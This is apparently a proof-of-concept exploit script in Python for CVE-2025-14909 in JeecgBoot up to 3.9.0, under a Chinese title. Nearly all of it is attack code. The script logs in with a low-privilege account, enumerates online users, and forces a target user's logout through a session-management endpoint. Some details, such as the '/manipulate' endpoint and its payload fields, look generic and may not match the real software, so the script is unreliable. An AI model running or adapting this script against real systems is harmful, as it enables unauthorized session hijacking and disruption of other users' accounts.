CVE-2025-14909 JeecgBoot SysUserOnlineController 会话管理漏洞

# CVE-2025-14909 PoC - JeecgBoot SysUserOnlineController Session Management # Target: JeecgBoot <= 3.9.0 # Vulnerability: Unauthorized session manipulation via SysUserOnlineController import requests import json TARGET_URL = "http://target-server:8080" LOGIN_URL = f"{TARGET_URL}/jeecg-boot/sys/login" SESSION_URL = f"{TARGET_URL}/jeecg-boot/sys/userOnline" def login(username, password): """Authenticate and get token""" session = requests.Session() response = session.post(LOGIN_URL, json={ "username": username, "password": password }) if response.status_code == 200: data = response.json() if data.get("code") == 200: return session, data.get("result", {}).get("token") return None, None def get_online_users(token): """List all online users""" headers = {"X-Access-Token": token} response = requests.get(SESSION_URL + "/list", headers=headers) return response.json() if response.status_code == 200 else None def manipulate_session(token, target_user_id, action="forceLogout"): """ Manipulate target user session Actions: forceLogout, getSessionInfo, etc. """ headers = {"X-Access-Token": token} payload = { "userId": target_user_id, "action": action } response = requests.post(SESSION_URL + "/manipulate", headers=headers, json=payload) return response.json() if response.status_code == 200 else None def main(): # Step 1: Login with low-privilege account session, token = login("regular_user", "password123") if not token: print("[-] Authentication failed") return print(f"[+] Logged in successfully, token: {token[:20]}...") # Step 2: Enumerate online users online_users = get_online_users(token) if online_users: print(f"[+] Found {len(online_users.get('result', []))} online users") for user in online_users.get("result", []): print(f" - {user.get('username')} (ID: {user.get('id')})") # Step 3: Manipulate target user session if online_users and online_users.get("result"): target = online_users["result"][0] result = manipulate_session(token, target.get("id"), "forceLogout") if result and result.get("success"): print(f"[+] Successfully forced logout: {target.get('username')}") else: print(f"[-] Session manipulation failed") if __name__ == "__main__": main()